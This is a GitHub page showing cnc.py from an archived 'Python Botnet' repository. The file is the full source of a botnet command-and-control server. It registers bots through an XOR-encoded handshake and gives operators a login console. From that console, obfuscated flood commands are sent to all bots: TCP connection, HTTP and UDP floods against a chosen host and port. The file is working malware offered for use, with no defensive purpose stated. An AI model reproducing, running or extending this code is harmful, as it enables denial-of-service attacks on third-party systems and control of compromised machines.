This repository has been archived by the owner on Jan 21, 2020. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 25
/
Copy pathcnc.py
240 lines (222 loc) · 7.53 KB
/
cnc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
#!/usr/bin/env python3
# -*- coding: UTF-8 -*-
#Code by LeeOn123
#Updated at 15/7/2019
#====================================================================#
# ____ _ _ ____ _ _ #
#| _ \ _ _| |_| |__ ___ _ __ | __ ) ___ | |_ _ __ ___| |_ #
#| |_) | | | | __| '_ \ / _ \| '_ \ | _ \ / _ \| __| '_ \ / _ \ __|#
#| __/| |_| | |_| | | | (_) | | | | | |_) | (_) | |_| | | | __/ |_ #
#|_| \__, |\__|_| |_|\___/|_| |_| |____/ \___/ \__|_| |_|\___|\__|#
# |___/ #
#====================================================================#
# ~ version 2.1 ~ #
######################################################################
import socket
import argparse
import threading
import os
import time
import sys
from os import system, name
import base64 as b64
key= "asdfghjkloiuytresxcvbnmliuytf"#xor key
if len(sys.argv)<=1:
print("Usage: python3 cnc.py <port>")
sys.exit()
b = int(sys.argv[1])
socketList = []
def sendCmd(cmd):#Send Commands Module
print('[*]Command sent!!!')#debug
print(cmd)
data = xor_enc(cmd,key)#encode
for sock in socketList:
try:
sock.settimeout(1)
sock.send(data.encode())
except:
socketList.remove(sock)#del error connection
print("[!] A bot offline")
def scan_device():#scan online device
print('scanning Online bot')
for sock in socketList:
try:
sock.settimeout(1)
sock.send(xor_enc("ping",key).encode())#check connection
except:
socketList.remove(sock)#del error connection
print("[!] A bot offline")#debug
def showbot():#bot count
while True:
try:
so.send(("\033]0;Nodes : "+str(len(socketList))+" \007").encode())
time.sleep(1)
except:
return
def handle_bot(sock,socketList):
while True:
try:
sock.send(xor_enc("ping",key).encode())#keepalive and check connection
print("ping")
pong = sock.recv(1024).decode()
if xor_dec(pong,key) == "pong":
print("pong")
time.sleep(60)#check connection every min
except:
try:
sock.close()
socketList.remove(sock)
print("[!] A bot offline")
except:#bug happened here, if not add "break" then there will be a "magic" loop
pass
break
def waitConnect(sock,addr):
passwd = sock.recv(1024).decode()
try:
passwd2 = xor_dec(passwd,key)
if passwd2 == "1337" :
if sock not in socketList:
socketList.append(sock)
print("[!] A bot Online "+ str(addr)) #message
handle_bot(sock,socketList)
else:
sock.close()
except:
if passwd == "Login\r\n" or passwd == "Login":#login code
#If u are using putty pls use raw mode to connect,
#If connected, there will not show anything on screen
#Just input 'Login' and enter.
print("Somebody login...")
Commander(sock)
else:
sock.close()
def Commander(sock):#cnc server
global so
so = sock
sock.send("Username:".encode())
name = sock.recv(1024).decode()
sock.send("Password:".encode())
passwd = sock.recv(1024).decode()
tmp = open("login.txt").readlines()#enter ur username and password in login.txt
corret=0
for x in tmp:
tmp2 = x.split()
#print(tmp2[0])#debug
#print(tmp2[1])#
if tmp2[0]+"\r\n" == name and tmp2[1]+"\r\n" == passwd:
print("Commander here: "+tmp2[0])
corret+=1
if corret != 1:
sock.close()
return
sock.send("Setting up the server\r\n".encode())#loading sense
time.sleep(0.5)
sock.send("\033[2J\033[1H".encode())
sock.send("Setting up the server [-]\r\n".encode())
time.sleep(0.3)
sock.send("\033[2J\033[1H".encode())
sock.send("Setting up the server [\\]\r\n".encode())
time.sleep(0.3)
sock.send("\033[2J\033[1H".encode())
sock.send("Setting up the server [-]\r\n".encode())
time.sleep(0.3)
sock.send("\033[2J\033[1H".encode())
sock.send("Setting up the server [/]\r\n".encode())
time.sleep(0.3)
sock.send("\033[2J\033[1H".encode())
sock.send("Setting up the server [-]\r\n".encode())
time.sleep(0.3)
sock.send("\033[2J\033[1H".encode())
sock.send("Setting up the server [\\]\r\n".encode())
time.sleep(0.3)
sock.send("\033[2J\033[1H".encode())
sock.send("Setting up the server [-]\r\n".encode())
time.sleep(0.3)
sock.send("\033[2J\033[1H".encode())
sock.send("Setting up the server [/]\r\n".encode())
time.sleep(0.3)
sock.send("\033[2J\033[1H".encode())
sock.send("[!] Setting Up Connection Socket...\r\n".encode())
time.sleep(0.5)
sock.send("[!] Updating Server Config...\r\n".encode())
time.sleep(0.5)
sock.send("[!] Setting Up C&C Module...\r\n".encode())
time.sleep(0.5)
sock.send("[!] Done...\r\n".encode())
time.sleep(0.5)
sock.send("[!] Welcom to the Python3 C&C Server, glhf !!!\r\n".encode())
sock.send("==============================================\r\n".encode())
time.sleep(1)
botn = threading.Thread(target=showbot)
botn.start()
while True:
#print ("==> Python3 C&C server <==")
sock.send('ルート@ボットネット:'.encode())#if u run this on windows, it may has some bug, idk why so,i use linux.
cmd_str = sock.recv(1024).decode()
if len(cmd_str):
if cmd_str[0] == '!':
sendCmd(cmd_str)
if cmd_str[0] == 'scan':
scan_device()
if cmd_str == '?' or cmd_str == 'help' or cmd_str == '?\r\n' or cmd_str == 'help\r\n':
sock.send('\r\n#-- Commands --#\r\n'.encode())
sock.send(' CC Flood: !cc host port threads\r\n'.encode()) #tcp connection flood
sock.send(' HTTP Flood: !http host port threads path\r\n'.encode()) #http flood
sock.send(' UDP Flood: !udp host port threads size\r\n\r\n'.encode())#udp flood
sock.send(' !stop : stop attack\r\n'.encode())
sock.send(' !kill : kill all the bots\r\n'.encode())
sock.send(' bots : count bot\r\n'.encode())
sock.send(' scan : check online connection\r\n'.encode())#check connecton status, if some offline or timeout will delete them form bot list.
sock.send(' clear : Clear screen\r\n'.encode())
sock.send(' exit : exit the server\r\n'.encode())
sock.send(' shutdown : shutdown the server\r\n'.encode())
sock.send('=============================================================\r\n'.encode())
if cmd_str == 'bots' or cmd_str == 'bots\r\n':
sock.send(("Nodes:"+str(len(socketList))+"\r\n").encode())
if cmd_str == 'clear' or cmd_str == 'clear\r\n':
sock.send("\033[2J\033[1H".encode())
if cmd_str == 'exit' or cmd_str == 'exit\r\n':
sock.send('Bye, ルート\r\n'.encode())
stop = True
sock.close()
break
if cmd_str == 'shutdown' or cmd_str == 'shutdown\r\n':#shutdown function
sock.send('Shutdown\r\n'.encode())
stop = True
sock.close()
print("shutdown from remote command")
sys.exit()
def main():
global s
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1)
s.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)#Keepalive tcp connection
s.bind(('0.0.0.0',b))
s.listen(1024)
while True:
sock, addr = s.accept()
th = threading.Thread(target=waitConnect,args=(sock,addr))
th.start()
def xor_enc(string,key):
lkey=len(key)
secret=[]
num=0
for each in string:
if num>=lkey:
num=num%lkey
secret.append( chr( ord(each)^ord(key[num]) ) )
num+=1
return b64.b64encode( "".join( secret ).encode() ).decode()
def xor_dec(string,key):
leter = b64.b64decode( string.encode() ).decode()
lkey=len(key)
string=[]
num=0
for each in leter:
if num>=lkey:
num=num%lkey
string.append( chr( ord(each)^ord(key[num]) ) )
num+=1
return "".join( string )
if __name__ == '__main__':
main()